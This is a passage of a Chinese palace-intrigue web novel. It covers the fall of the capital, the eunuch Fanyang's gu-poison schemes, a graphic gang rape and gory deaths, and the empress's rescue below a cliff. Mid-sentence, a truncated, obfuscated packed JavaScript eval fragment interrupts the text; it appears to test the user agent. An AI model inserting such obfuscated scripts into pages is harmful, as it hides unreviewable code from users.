“啧,这小子,有点功夫了不起。哎,买了鸡,记得分我个腿。”铁老大高声道。 凌云朝后方挥了手,没走两步就捂在心口,弯下腰。 “啊……钻心的……” 【这盒子里肯定有东西,刚才的血口……】 “啊……” 【这些害人精,果然又当街戏耍人,拿人命不当回事。】 铁老大一瞧不好,赶紧上来将凌云拉去道旁,念叨道:“我说你小子,跟你说多少遍,要饭不长眼啊,不知道避开主道,非得凑上去找虐。” 凌云嗬嗬地喘息两声,闷声闷气道:“心口疼……” “我的亲娘啊,你怎么了,突然这么多汗?快来人,你们快过来,将这木头送去医馆。”铁老大吆喝着,来了一帮乞丐帮他将凌云架去医馆。 医馆的诊费和药都不便宜,铁老大将刚到手的木盒在案上一拍,理直气壮道:“拿这个抵。这个……贵人府上出来的宝盒。” 缓过心口的疼痛后,凌云的手脚都是软的。随时间的过去,他慢慢地恢复了。 与此同时,因为雄蛊寻到寄主,宫里奄奄一息的金簪在雌蛊对雄蛊生机的感应下长吸口气。 守在榻旁的高廷之立时反应过来,帮助金簪服药、针灸。 他寻思此事绝不能让梵阳大宫侍知道,还是得找高苗掩护着救治金簪。 宫外的药铺里,等大夫忙完来给凌云看病,人已经站起来自己擦汗。 凌云拉住药仆拿檀木盒的手,冷静道:“我没病,盒子不换药。” 他朝目瞪口呆的铁老大道,“我没事。拿这玩意去换只鸡,大家都能整口肉吃。” “好哎……”帮忙的小乞丐们纷纷笑哄起来。 他们拥着凌云和盒子往外走。 药仆朝铁老大呸了声:“穷鬼。” 铁老大反哼了声,朝走远的乞娃们喊道:“等等我,老子得吃鸡腿。” 晚间,京都城外的破庙里,凌云的空碗里有一点嚼烂的鸡骨渣滓。 他本人蹲在墙角,取出怀里的木头,抚摸下后继续雕刻。 铁老大真是服这小子,不操心吃食就操心木头。 “我说木头,你的手艺这么好,雕什么像什么,不去找个工做?” “不去。”凌云回两字,抚摸手中快要成型的人脸,突然道,“最近楚将军的人马到哪里?” “回寒雪关吧。现在城里的消息乱得很,便说这莫府,都快赶得上前头的太宰府气派。呵,如今城里哪还有善户。我寻思得去东都要饭。 你知道东都吗?轩辕帝,就是女帝她爹,被北延慕容涛枭首祭子的大城。我寻思城里的老爷、贵人们都逃东都避难去了,那里应该有活路。”铁老大敲了下不吭声的凌云,“木头,你给点意见。” “你人高马大,不如去寒雪关投军。别到个地方就只知道要饭。其它地方就别去了,全是些蝇营狗苟的小人。”凌云说完这话,趁月色离开破庙。 铁老大真将这话听进去。 然而,他环顾一屋子无家可归的乞儿,偶尔还要莫名其妙地失踪几个,无力地叹道:“我走容易,可他们呢?” 他走到一旁的无脸婆婆身旁,将今日藏起来的一点鸡皮放在她的掌心,“吃吧,婆婆。” 无脸婆婆猛地抓紧手,将那点油皮塞入嘴巴,慢慢地嚼起来。 铁老大叹了声:“若我去投军,你们怎么办呢?” 无脸婆婆的脸很丑,重新长出来的皮像是丑八怪的桔子表面,凹凸不平还多纹路。 她在黑暗里抓住铁老大的手,在他的掌心一笔一划地写起来。她已经无法说话,剥皮时刀尖伤了眼睛,也看不清楚,唯独手脚还能动。 铁老大猛地收回手,低声道:“我又不识字,识字那家伙出去了。算了算了,问你也是白问。睡了睡了。” 无脸婆婆闻言蜷缩成一团,抑制不住的眼泪叭叭地落进草木堆。若有什么支撑她活下去,那就是希望再见金簪一面,知道她平安无事。 另一边,凌云融入夜色,慢慢悠悠往京都郊外十五里外的秋山脚下走去。 那里是收容他的义父义母的家。 五年前,凌云亲眼送祖父凌飞一程,后尾随沈长清安葬祖父、梅姨、殷罗姑姑等人。 待沈长清走后,他跪在祖父的坟前,发誓要杀那个太监梵阳,还有女帝。 至今,他不肯离开京都,是在等一个时机。 期间,季飞扬三次来京都寻人,凌云都没有出来同他相认。 他无法原谅季飞扬。若不是季飞扬爱上女帝,伙同她行刺风子鸾,就不会将祸招致凌家,害祖父、梅姨等人枉死。 凌云的手摸在木偶人的脸,手中的刀子迎着月色一下扎进木偶人的额心。 他将刀拔出来,重新将木偶人塞入怀,继续往家走去。 36. 九年 秋山脚下的农田边有一幢二进木墙草棚屋,住张廷玉一家四口人。 大夏天,院里霹雳吧啦烧起大火。 山栀开门见火苗,再瞧凌云烧的东西,将他拉开道:“你这孩子,怎么将这些年雕刻的木人烧了?” 说着,她跑去缸边舀水,打算给他弄出来。 说实话,她是很喜欢这些木偶人,雕得栩栩如生,而且一看就知道是谁。 凌云的义父张廷玉拉住妻子,扬下颚道:“玲珑娘,算了。这东西一看就知道是谁。自金平元年后,哪个毛头小子不想着她。如今烧了就是断念,随他去。” “这……”山栀放下木盆,觉得话也没错。 那个高高在上的女人是大周的女帝,自她登令楼一舞后一直被人津津乐道,说什么都有。 何况,这世上有哪个男子不想再见她一面,便是普通人家的男子谈论时都会扯到金平元年。 九岁的小玲珑从凌云的房里抱来余下的小木人。 她嘻嘻笑道:“哥哥,这些也要全烧掉吗?” “嗯。”凌云点头,将她手里的木人都丢进火堆。随后,他取出今晨刚雕刻好的木人也一并扔进去。 待大火熊熊地烧起来,他向一旁缄默的张廷玉道:“义父,云儿……有话同你说。” 张廷玉颔首,有了一二猜测,嘱咐山栀做早膳后随凌云走上旱地田埂。 凌云看向远远缀着的玲珑,朝男人道:“义父,我想去投军。”【不知道死太监给我搞了什么,心口偶尔作痛,恐怕报不了仇了。】 “正好。我们想一块去了。”张廷玉笑道。 “啊?”凌云愣了下。他知义父以前就想做军人,却因时运不济,一直投报无门。后来,义父因救自己被狼咬伤脚踝,自此就断了那份报国的心。 “当年,我遇到你时,你正同山里的野狼群搏斗。好小子,一个人靠着筒弩射杀十几头野狼。我当时就想,这小子不当兵,对不起百姓。呵呵……”张廷玉回想起当日生死一线的场景,现在都觉得胆战心惊。 “若不是义父为救我,就不会被狼咬到筋骨,断了抱负。”凌云的目光落在他的左脚踝,愧疚道。同时,想起那时的事,心里又燃起无论如何都要活下去的狠劲。 “这算什么。你和我都靠棵歪脖子树活下来,这就成了。你在树上同我说起身世、遭遇,我就知道你是我张廷玉失落在外的儿子。” 张廷玉看向不远处打转的玲珑丫头,笑道,“玲珑有了哥哥,这不挺好。 说回正事,如今司徒衙门的苛捐杂税越来越多,百姓们逃的逃、散的散。我们一家子靠秋山和一亩农田糊口,可我瞧着……” 张廷玉蹲下身摸把干涸的土地,为难道:“连山脚都没水,别说外头。中原要干旱了。如今的活路在海边。 义父本是从学海道府过来,想在京都谋一翻事业,谁知碰上风瑶营改制。 后来,我兜兜转转混个衙差,却是给贪官下乡抢民。这差不当也罢,还不如在这秋山脚下种田打猎自在。只是,停云,义父不甘心啊。 我在京郊留着留着……娶了你义母,有了玲珑。如今,我寻思该回学海道府。 我的兄长,你的伯父是学海府下的余阳郡守,投靠他或有一番出路。不仅是为玲珑母女,也是为你。你更名换姓为张停云,就向那山头的云一样好好地静下心,琢磨一番未来。至于你雕的木头人偶,我早就觉得烧了省心。天下纷乱,无需你出手,多得是人要他们的命。” 张廷玉说完,静等凌云的回复。 凌云默下,却始终补不起心里那道疤。他本觉死到临头才烧木偶,如今为不拖累义父家,倒也没烧错。 他颔首道:“义父打算往南,我本打算往西。容我考虑下吧,义父。” “嗯。我知你想报在护国将军的门下。楚氏忠君爱国,确为良将。 可是,听闻我兄弟的亲戚说:如今的朝堂乃是莫党说了算。自风党满门被诛、头悬城楼,百姓载歌载舞。大家本以为能迎来女帝、沈太傅等贤能人主政爱民,不想短短三年,一切又倒退回去。 而且,这朝堂还越发变本加厉地剥削百姓,连城中商贾都难有活路。女帝啊,自京郊北延一战后久未露面。说来,她到底是女子,即使有抱负,在男人扎堆的朝堂上想要拥有权利,难啊。” 张廷玉拍在凌云的肩头,示意他好好考虑一番,又喊徘徊的玲珑回家。 玲珑不愿意回家,非得粘着凌云,硬被他爹给拉走。 张廷玉朝九岁的活泼女儿道:“你的停云哥哥是个有大本事的人。咱们家留不住他。” “爹爹……我不嘛,我要停云哥哥陪我玩。嘻嘻……”张玲珑说着就跑,又被她爹提着领子拽家去,“啊……爹放开我……爹爹坏……” 凌云的目光从父女两人身上收回,瞧着开裂的土地,喃道:“今年大旱,撒种无苗。四方……又要乱了。”【那就往东吧,先护义父一家平安,再沿路寻找解决心悸之法。何况,坚空竹也在学海。】 *金宫内* “呕……你给我吃什么?食脑蛊。你疯了,高苗。”梵阳捂着额头,寻到匕首往颈项割去。然而,曾经他可以为了博得金簪的信任,毫不犹豫地用碎瓷割破颈项。这次,他握着匕首迟疑了一次又一次,错过取出食脑蛊的最佳时机。 高苗摸把唇角的涎水,冷声道:“你早已不是我认识的梵阳。如今,你我都中食脑蛊,谁也活不了。 若是你想多活一段时间,不要再用下三滥的手段对付我祖父,以及不准靠近乾明宫的寝殿。” “呵……”梵阳想起金蝉蛊王的作用,容忍高苗的举动。但是,他冷笑道,“你一直在研制金蝉蛊王,打算给那女人用,对吧?如今我中食脑蛊,你以为我会让你将蛊王给她吗?” “你确实不会,你本来就不会。你抓许多乞丐,在他们身上试验以蛊控人术,当我不知道吗? 我还听到,你的人一直在追杀楚甲子,直至蜀地才失去他的踪迹。他定是去替陛下找药,你怕夜长梦多,才想对陛下动杀手吧。”高苗算是彻底看清此人的真面目。所谓日久见人心,随陛下身边几个亲近人的消失,一切都豁然开朗。 “所以,你虚情假意逢迎我,在唇上对我动手?哈哈哈……高苗,你那自怜自爱的脑子竟也有清醒的一天。”梵阳讥讽道。 高苗的眼里赤红,强撑不让眼泪落下来。 “总之,陛下对我有恩,她也全心信任我……我绝不会让你再害她。” 梵阳的眼神流转,好看的脸上在瞬间露出和煦的笑容。 他温声道:“阿苗,我比她给你带来更多的快乐,难道我不信任你吗?我为你杀了太医寮那么多不服你的人。我为你所做得一切,你看不到吗? 或许,你觉得我不是男人,满足不了你?” 伴随梵阳渐变血红的眸子,脸色也开始阴暗难看。这不仅是食脑蛊入脑的征兆,也是他的本性在暴露,“阿苗,既然不想沉睡在我为你编织的情网,那就面对现实给你得一切不幸。 罗明,将你亲近的兄弟都喊进来。本监将这个女人……赏你们。” 高苗被他赤红的双目死死地盯着,心彻底沉落谷地。 她一把抓起药案上的金色长盒,高举而起。她的胸脯因气愤在剧烈地震动,哽声道:“你敢,我就鱼死网破。” “哈哈哈……威胁?本大监最不怕威胁。没了它,你的陛下还怎么活?”梵阳往前踏了一步,朝罗明那七八人的方向勾了下手指。 高苗的脸几无人色,看着他们气势汹汹地走来,抓了桌案上的药盒砸去。 然而,她怀里抱着的金盒还是被罗明给抢走后递给梵阳。 被扼住的时候,高苗丧得几乎想这般死去。然而,她看着桀桀怪笑的梵阳,以及他怀里的金盒,又强撑着活下去。 身体被刺穿得那刻,她的唇角留下痛恨的血水。 罗明一把捏住高苗的下颚,挥开在她身上驰骋的男人。他转头道:“高医女,咬舌了。” “高苗,你若敢真死,高氏满门为你陪葬,你祖父会被司寇寮刑狱凌迟而死。”梵阳见高苗的眼神跳了下,紧绷的唇齿随之松开。他就知道这个女人舍不得死,大笑道,“你们……继续。一会,将高廷之喊来,他自己的孙女自己救。哈哈哈……” 梵阳大笑着离开满屋污秽。 这种事,他已经毫无兴趣。 罗明松开高苗的手,朝下属颔首,转身随梵阳离去。他是去喊高廷之。 高苗的目光彻底失去光辉,目视这些如鬼怪的男人,灵魂脱离身体,余下得就是一具行尸走肉。 ** 寒雪关外,西戎、北戎在雪草城发生激烈的战斗,最终北戎狼子“天阙”脱颖而出,被摩尔人推举为汗王。 天阙汗王将西部六府三城的摩尔各族统一。 他们在圣城建立雪狼国,天阙为天阙可汗。 他推行周制,建立西六府十二省,推行良田耕种,划牧地畜草养羊,再以羊群饲狼,凭此在数年间建议一支庞大的狼人军团。 北延慕容涛重振旗鼓,再度挥戈南下。 冯萧率护国军风瑶营三万人马镇守定山关,硬是抗住北延人一波又一波的进攻。然而,京师近一年不派军饷,便是风瑶营的兄弟都想起兵反了大周。 轩辕月辉在胜争暴病而亡,其子轩辕日照继承西南三府的军政大权。 轩辕日照不打算北上,而是掉头攻打后方的南蜀道府,以及最西北的月罗道府。若能拿下此两府,屯粮练兵,方能一鼓作气北上京师。 他也不像轩辕月辉,只行暗事,不敢明争。他将许多胜争谍探杀了,断了那些人的解药,要得就是一个年轻气盛的堂堂正正。 季飞扬所在的月罗府暗中招兵买马,成立一支集轻骑、重甲、步兵、斥候、谍探为一体的五千人军队。季氏带这些人绕过秦连长墙的南段,深入西六府地界,同摩尔人开起游击式的野战。 季飞扬拒绝季闲提议攻打胜争的提议,只道:“我同石鸣春拜过把子,结为抗摩尔人的兄弟。如今雪狼国数次攻打寒雪关,我们在西六府南边行游击战,给寒雪关减轻压力。” 季闲无法,只能与胜争那方斡旋,先俯首认个弱。 莫云长和梵阳一起收服今夏难,将他派去南边。 在洛水河扎营的楚荣心知来者不善,但是,楚甲子奔去南蜀未归,他也只能硬着头皮接待今夏难。 两股力量在护国营里较量,只待时机一道,可能就自相残杀。 这番胶着的局势一过就是三年。 金平九年,雪狼国再次东进,石鸣春知京师无力支援,派人通过小韩家关引慕容涛的人马南下。 慕容涛绕过定山关,不往西去,直奔京都。 这一次,他的人马悄无声息地围攻京城,趁夜杀入城中。 余下的京都官员、百姓听闻哭嚎声才从睡梦中清醒,但见屠刀映月,顷刻身首分离。京城陷入一片火海、地狱般的噩梦中。 这一夜,北延人马在京都烧杀抢掠,无恶不作。 莫云长夜逃出府,却被慕容涛率先抓住。 不待他跪地辩解求饶,就被慕容涛手下的大将就地斩杀,莫府满门被屠,仿如当年莫云长抄了风党时的场景。 金宫内也是一片慌乱,宫侍、宫女四散奔逃。梵阳喊虎贲军守宫墙,却发现禁军全部外逃。他精通阴诡,心知事情不对,转身夺入御药房,寻找高苗的身影。 他发现不仅人不在,便是连金盒都消失不见。 待他领罗明往乾明宫寝殿奔去,寝榻上那位沉睡九年的女帝已消失不见。他转身朝罗明喊道:“搜,搜到女帝。慕容涛才可能放我们一马,快。” 罗明面色一紧,赶紧带人去寻。 梵阳愣怔的功夫,听到身后的脚步声。他猛然转身,看向来人:“高苗,你……没逃?” “你还活着,我怎么能走?”高苗俏生生地站在梵阳的面前,枯瘦病气的脸上露出一丝癫狂的疯意。 她的目光落在冒烟的鼎炉处,森森笑道:“我留在这里是想告诉你,慕容涛能够南下,正是卫南勋给石鸣春传信。沈太傅和祁大人说:不破不立。既入死局,就绝境逢生。 我们知道今日慕容涛会入城、金宫会乱,早已里应外合将陛下偷走,而且,不久前,禁军也散了。 至于,你要的金蝉蛊,在两年前,我就已完成。 但是,为了骗过你,我用雪蝉蛊吊着你的命,让你一直以为我没有成功,还帮你研制毒蛊大军。” “贱人。”梵阳拔出腰间的长剑,向高苗扑去。 高苗哈哈笑着,声音凄厉且苍凉。 她转身推翻烛楼,瞬间大火沿着帐幔烧起来。 腰间被长剑刺入,她一点都不觉得痛。因为恨太过浓烈,以至于毫无痛感。 “度日如年的九年啊,祖父高廷之为护我而死。你为了解开食脑蛊,疯狂掳掠全城的人来炼蛊,我高氏满门悉数被杀。他们全是因我而死。我早该死了。 那日,你羞羞怯怯得一句:请问,高医女有……医书吗?我真后悔为何停留,应该转身而去。” 【你将我的人生全部毁了,连带这个国家都毁了。】 “啊……”高苗猛得向他一扑,任由长剑穿体而过。她死死地盯着梵阳越来越赤红的双眸,断续道,“食脑蛊会将你啃食殆尽,连一丝肉都不给你留。那些男人,各个都得腐烂而死。呵呵……哈哈哈……这座吃人的金宫,这座城都会随之覆灭。哈……呃……” 梵阳一脚踹开高苗,刚要转身逃离大火,猛得就抱住脑袋。他翻身欲滚,却身软无力,但是精神又特别振奋,所有的感官好像都被放大百倍,疼痛也被加倍了。 慕容涛带人杀入金宫,令人入殿将梵阳从火中拖出来。他扯着残喘的梵阳怒吼道:“女帝轩辕金簪呢?” “逃……逃了……啊……疼……求你……杀了我……啊……”梵阳的双目里爬出婴儿手指粗细的长虫,在他的脸上如蚕啃桑叶般吃起来,紧接着五官七孔都不断地爬出蛊虫。 慕容涛杀人无数,却被这场面恶心到了。 他吩咐属下道:“烧,烧了他,连同这大金宫,全烧了。你们将值钱的东西带走,宫女、妃子带走,至于宫侍、禁军、虎贲军,所有的男人全部杀死。本将要替我儿报仇雪恨。 余下的人同本将军一起全城搜捕女帝轩辕金簪,凡见二十出头的女子,全部捉来找人辨认。” “喏。”北延军士纷纷开始行动。大火在金宫整整烧了十天,干裂的天气让大火烧红宫墙,便是整座京城都烧半月有余。 千年古都在一月间化为焦土。 消息像是长翅膀一样飞向东陆大地,不管道府、郡府、县府,凡是为官者各个举起反旗,说要围剿反贼慕容涛。 ** 彼时,一辆马车刚出城就被北延的巡逻卫喊停。 城中的沈长清坐在轮椅上,高声喊道:“哎,各位,我是太傅沈长清,诸位是否在寻我?” “我是大司徒祁缙云,有要事告知慕容将军。”祁缙云风度翩翩,推着沈长清的轮椅,走向被拖延了的北延守城士兵。 沈长清低笑道:“这舞艺司侍莺歌的本事不俗,竟真得从张副将那拿到出城令,还得多亏祁大人的美貌。” 祁缙云苦笑了声,叹道:“辜负 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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杜鹃根本不会思考,听着她的话,将轻飘飘的金簪拖入道旁密林,往山上奔去。 莺歌听着后方的喊杀声,眼角挂泪,唇角叼狠:“该死的,明明你放我自由,为何我就是要回头救你。祁缙云,你死了,我便也来陪你吧。你且再等等我。驾……” 她再次上车,狠狠地喊了声“驾”,驾车继续向南奔去。 北延兵马杀了卫南勋,又向南追马车而去。 至春江河道口,他们发现马车落河,而马匹已逃,河面上有一具被水草缠住的女尸。 北延兵开始分兵,一队寻马匹足印南追,一队沿河搜捕散落的人。 然而,这样终究只拖延两天的时间。 河道无尸,马上无人。他们开始沿道向山林四下搜捕女帝的踪迹。 山野中,杜鹃紧紧地抓一把金色的轩辕短/枪,一手拥紧金簪。她口呓喃道:“殿下……殿下……阿叶姐姐……阿叶姐姐……” 前前后后虚弱近九年,后四年,金簪几无睁眼。 清脆的鸟鸣声闯入关押她的黑匣。她迎着光一直奔跑,睁眼得刹那,洞内外的明暗仿佛是黑夜在向白天告别。 她缓缓地抬起头,看见一名蓬头垢面的女子,那双眸极为熟悉,“杜……鹃。” “殿下……殿下……呜呜……殿下……”杜鹃好似只会喊这两字,紧紧地揽住金簪。 金簪的泪滑落眼角,一瞬间,她就明白杜鹃遭遇很可怕的经历,以至于令她好似只记得太女时期的称呼。她轻拍着杜鹃的手,让她松开。 杜鹃缓缓地松开她,将手中的轩辕枪塞入金簪的双手。她想要说什么,却一句话都说不出来,举手比划一通,见金簪好似不明白,眼泪肆虐间,呜呜地喊着“殿下”。 金簪的身体很虚软,强撑着靠在石头。她刚要安抚杜鹃,就听到洞穴外传来搜捕的命令。 杜鹃如受惊的鸟儿跳起来,一把将金簪推倒。她疯了般喃喃道:“殿下……不能抓……殿下……” 【太傅说过,要护殿下平安。他们都说了,要护殿下平安……平安……】 说完,她就毫不犹豫地跑了出去。 “杜鹃……”金簪往她离开的方向扑去,一下摔在石头上。她试着撑起身体,却怎么都起不来。 “杜鹃……杜鹃……” 无力、无能的感觉冲刺金簪的内心,若不是那些人的命支撑她。此时此刻,她真想拔出轩辕枪自裁。 “啊……杜鹃……别去……” 北延兵抓一个瞎眼的丑脸婆子,将她踹在道旁。 耳听有人喊“在这边,女帝在这边”,这些人又急忙追上山。 无脸婆婆一脚深一脚浅地缀在这些士兵后,寻摸上山。 她听到一声男人的质问。 “说,女帝在哪?不然,杀了你。” 杜鹃“啊啊喔喔”地喊着,手指向远方的云雾,被北延兵渐趋围拢。 她哆嗦往后退,脚下一滑,失足跌落深不见底的山涧。 北延兵喊道:“格老子的。搜,女帝一定在这座山上。慕容将军有令,拿下女帝人头,封赏万户侯。” 众人立时四散开,开始漫山搜捕起来。 山洞内的金簪按在轩辕短/枪的锁扣处,一旋之下,短/枪化为半丈长/枪。她以枪撑地,扶着洞壁缓缓地站起来。 她的双眸在洞内外的明暗处适应了一会,才撑着枪走出洞穴。 轩辕金簪听着北延兵的声音,向前走去。她面对一众吆喝喊“找到了,在这里……”冷冷地笑起来了。 “对,朕,在这里。”她柔软清澈的双眸含笑望着这些凶恶的侩子手,只剩下张皮的手掌紧紧地握着手里的轩辕枪。 【盛世如梦,穷毕生力追寻,到头来不过一场空。杜鹃、南叶、高氏、太傅、祁少府……你们等等我,金簪这就来陪你们。】 慕容涛在山下听闻女帝现身,而众人却围而不杀,亲自上山来瞧。大周立国千余年,轩辕血脉早已如神灵下凡。普通兵士、百姓还真不敢欺辱轩辕氏。 慕容涛从士兵中走出来,看向面目如柴、骨瘦余皮的金簪。只能说,她的骨相是美的。 他诧异道:“若非你手中握得是轩辕氏族世代传承的轩辕枪,不然,谁能认出你是女帝。” 金簪好笑地看着他,缓缓启口道:“不是说,杀了朕,被你封为万户侯?怎么,朕在此站半天,这些人都不上吗?” “呵呵呵哈哈哈……轩辕金簪,不愧是轩辕氏血脉。你真是可怜,夏夔之后犹有二帝,你不知道轩辕日照子夺父权,还娶你的妹妹轩辕金香,将她立为胜争女帝吧?” 慕容涛笑起来,“不如,你随本将回北地,本将继续奉你为帝,如何?” “你想以朕的轩辕姓氏正你谋逆之名。青天白日,你还做起春秋大梦了。 朕的楚将军还活着,朕的护国军还在南方、寒雪关,朕岂会屈服你这逆臣贼子。”轩辕金簪越说越气,猛得呕出一口黑血。血中斑斑点点,似有东西在蠕动。 本来非常生气的慕容涛见此大笑出声。 “哈哈……堂堂帝王,却被一个宦官弄得如此狼狈,果然是妇人之仁。轩辕金簪,你也只配做傀儡。来人,将她拿下。” 金簪看向谨慎近前的北延兵,深提一口气道:“等等……” 在慕容涛转身看来时,金簪紧绷的面色微缓,讨饶道:“朕允诺你。但是,朕的婢女杜鹃,忠心护主。她死在何地?朕要先祭奠她,才同你下山。” 37. 诀别 余阳斜晖,似夏夔二十五年的上元佳节,火烧云如金火,将天空渲染的奇绝壮丽。 金簪杵着轩辕枪站在悬崖边,看向缥缈的山间旷野和美丽的天穹。 【这美景配得上女帝之殇。杜鹃就从这个地方被逼跳崖。若我能在此杀了慕容涛,同归于尽,算是了了帝王壮气。】 她回首看向站得颇远的慕容涛,又生出自嘲。 【语言激将都不能让这人近前,真是固执的将军。连同归于尽的机会都不给吗?姜还是老的辣。慕容涛在京都郊外一朝被蛇咬,已不敢再轻信失足。】 “你谁啊,臭婆子,走开。”一名北延士兵推开摸过来的无脸婆婆。 金簪落寞的思绪微顿,看向被北延兵推倒在地的老人。 将死之际,她心生怜悯,缓缓道:“朕是女帝,害国如此,害人如斯。她说不定是来找朕报仇,不如,你们放她过来。” 慕容涛闻言,嗤了声,朝踢打老婆婆的士兵挥下手。 他很好奇,京都的穷苦人会怎么对待这位亡国女帝。 无脸婆婆被士兵一推,向金簪撞去。 金簪心下微动,下意识就接住她。 她的身子骨弱得很,力量也不够,与无脸婆婆一起跌滚在地。 慕容涛见状,哈笑出声。一时间,围拢的北延兵看他的脸色行事,也纷纷大笑。 “女帝摔跤,多新鲜。哈哈哈……” “听说,金平元年,女帝很好看的,传闻是天下第一高贵的美人。如今啊,丧家之犬……哈哈哈……” “光论容貌,她同那臭婆子差不多。哈哈哈……” …… 金簪的唇角挂着苦涩,没管周围人的窃窃私语。成王败寇,古来如斯。她下决心走到这悬崖边,就已经没有什么不能再失去,更不在意世人的目光。 “婆婆,你要找朕报仇吗?”金簪看向无脸婆婆嶙峋丑陋的脸部伤痕,再及她的双目混浊翻白肉,整张脸形容可怖且周身极臭。 但是,金簪不在乎。 她的手被无脸婆婆紧紧地拽着,耳闻她“啊啊啊……”地比划。她既听不懂,也瞧不明白。 有司赤燕很开心,无与伦比的开心; 她又很难过,难过于母女两人落得这般田地。 【老天,你终是对我有司赤燕不俗。我见到簪儿,终于见到了我的女儿。只是,我的簪儿已经认不出母后。簪儿,阿娘的比划看不懂不要紧,只要你能活下去。】 她心下一狠,大声嘶吼一声,在北延兵的嘲笑声中将金簪往悬崖外猛地用力推去。 “拦住她。”慕容涛虽防这茬,但觉得金簪这个病弱女帝既会讨饶,就不会寻死,而这又瞎又哑的婆子能做什么?他没想到老婆子真得胆大包天。 金簪枯败的脸上露出无谓的笑容,顺无脸婆婆得这股推力往后滑去。 如同杜鹃一样,人落在悬崖外,向无尽的崖底砸去。 她仰面婆婆的神色,再及上方的微黄白云,拂着晚风,好似回到天坛上祭天那会。一切豪情壮志都随着越来越远的云层远离而去。 【这就是我的结局吗?】 无脸婆婆的手往前伸了下,察觉崖下吹上的风。她可怖的脸露出一丝难以分辨的笑容,听到后方纷乱的脚步。在慌乱中,她摸到那杆轩辕枪。 她一把提起轩辕枪,朝近前的士兵胡乱地挥舞,在这些人的诧异下,旋手枪柄中央。 轩辕枪发出咔哒声,轩辕长/枪变为短/枪。 慕容涛心下一惊,急喊道:“不对,留此人活口。” 然而,士兵的刀极快,一刀刺入无脸婆婆的肚腹,再拔出来时血溅红了残阳,背对的火烧云像烈火焚烧般的绚烂。 “谁让你杀她?她眼瞎都知道轩辕枪的变化,定是皇族中人。”慕容涛狠踹杀人的士兵一脚,再派人去抓无脸婆婆。 无脸婆婆奄奄一息地往悬崖边挪,将手里的轩辕短/枪用最后的力量砸向崖外。 慕容涛警觉,反应极快道:“不好,悬崖下有问题。快寻下崖之路,活要见人,死要见尸。” 他一把拎起无脸婆婆,掐着她的脖子怒吼,“说,你是谁,同党是谁?” “噗……”无脸婆婆呕出一口血,灵魂彻底沉入无间的黑暗。 【簪儿,阿娘错了。愿神灵护佑你,平安渡过此生。簪儿……】 慕容涛恼恨之下将无脸婆婆的尸体扔下悬崖,转身带人向山下狂奔而去。 ** “呕……”金簪从破碎的藤网上爬起来,呕出好大一口黑血。 血水中的斑斑点点比之前那口要少许多。斑驳的虫子在血液中翻滚,慢慢地随流水而去。她的目光从乱石溪前挪移,看向拍打身上残枝破叶的高瘦毛脸男人。 这个男人在悬崖半空用藤网拉住两人,随后抱她落在深坑溪涧,又将金簪拖上浅溪后扔下。 不然,以金簪现在的身体砸下悬崖,即使有藤网阻挡,都要断胳膊断腿,吃一番好苦头。 男人络腮胡,高瘦,偶尔扫来的眼神透着沉澈感。 金簪暗道:若是判断不错,应是个年轻人。她的目光向下一撇,落在男人脚旁的破碎尸体。一眼认出那尸首是早前摔下悬崖的杜鹃,金簪跌撞地爬过去。 她抱起杜鹃的尸体,嘶声喊着:“杜鹃……杜鹃……对不起……杜鹃……” 泪珠滚落脸颊,无力和颓败感在金簪的心上再添一笔。 凌云看向高空落下的轩辕枪,走过去捡起来。 当他捡起轩辕枪时,一具尸体砸在脚旁。他的眉心跳了下,若是尸体再偏点,几能砸死人。他如死鱼眼似地盯在被溪水浸没的尸体,走上去将无脸婆婆抱起来,放在杜鹃的尸体旁边。 “明明约好在前方的繁花镇汇合,偏要上秋山,又害死一人。”他森冷的目光落在沉浸自我思绪的金簪身上,似在说给她听。 泪眼婆娑的金簪听见了,猛然看向他,哽声责怪:“为什么不救她们?” “藤网是临时现编,只能用一次。若是救她们中的任何一个,就救不了你。”凌云充满恶意地淡声道。 山外鸣镝声响。 凌云看向半空的信号,将金簪一把拽起来,“时间紧迫,走。” 金簪推开他,却发现此人的力气极大。 她用最大的力量捏紧这人的手骨,嘶声道:“葬了她们。” 凌云冷静的眸色对上她倔强的眼神。这个女人已经面目全非,除这双眼。不过,这眼里也没有登令楼上的映日金辉,有得是苟延残喘的愤世绝望和一点不知道哪来的固执。 他的眼神渐趋发狠,使劲拖上金簪就走。 “没时间,已经浪费两天,北延兵很快就会进秋山寻你。” 金簪被拖拽向前,回首那两具并排的尸体,再次用力拉他。 “那就带她们一起走。我可以背一个。” 凌云蹙眉,看向固执如斯的女人,深深地吸了口气。他将手中的轩辕短/枪砸在女人的身上,见她被砸得往后跌又去拉稳她。 他咬了下牙,回去捞起两具尸体,各抗在一边的肩头,率先向前走去。 金簪发现此人话少,但是,心肠不硬。她收敛眸里的情绪,一步一跌地跟上。目光从软软的杜鹃尸体移向无脸婆婆的。 无脸婆婆的衣衫下掉出一截金色的甲套。 这是有司赤燕唯一没被搜走的东西,也是给她换脸的星儿和老者的恶趣味。 凌云没听到后面的脚步声,转身看去。 金簪颤抖地捡起落在石缝里的金色嵌翠玉的甲套,喃喃道:“这……她怎么会有这种东西?这分明是……” 【我母后的东西啊。】 她猛然看向无脸婆婆的尸体,张口间哽咽上喉,一句话都说不出。 她只沉默一会,将甲套塞入怀,哽声道:“走。” 凌云不知她有何发现,竟有了点生气,盯了一会后兀自赶路。 两人入密林,凌云寻个土略松软的地儿,从后腰取出一柄半臂长、半个巴掌大的正方钢制管。在他的巧手折叠后,方管变为刀铲,开始用它掘土挖坑。 “时间不够,只能将两人埋一块。你去捡点枯枝烂叶铺在土上面,北延兵就发现不了她们。” 金簪跪在无脸婆婆面前,轻轻地拉开她的衣襟。比起脸和手,无脸婆婆身体肌肤要相对干净得多。 她抓起无脸婆婆的长指,抚摸小拇指、无名指、中指上留下的疤痕。 当年轩辕帝被有司赤燕得手,恼怒之下命人斩去有司赤燕的手指。神女阿乐及时制止,保下有司赤燕才的双手。但是,有司赤燕的左手三指上留下连药膏都消不掉的疤痕。 【这是母后的手,因她三指有痕,所以常年甲套不离身。 母后……母后……你怎么会……】 金簪确认无脸婆婆的身份,哽得一句话都说不出来,深深地闭上眼睛,眼泪像是连成线的珠子,不断滑落。 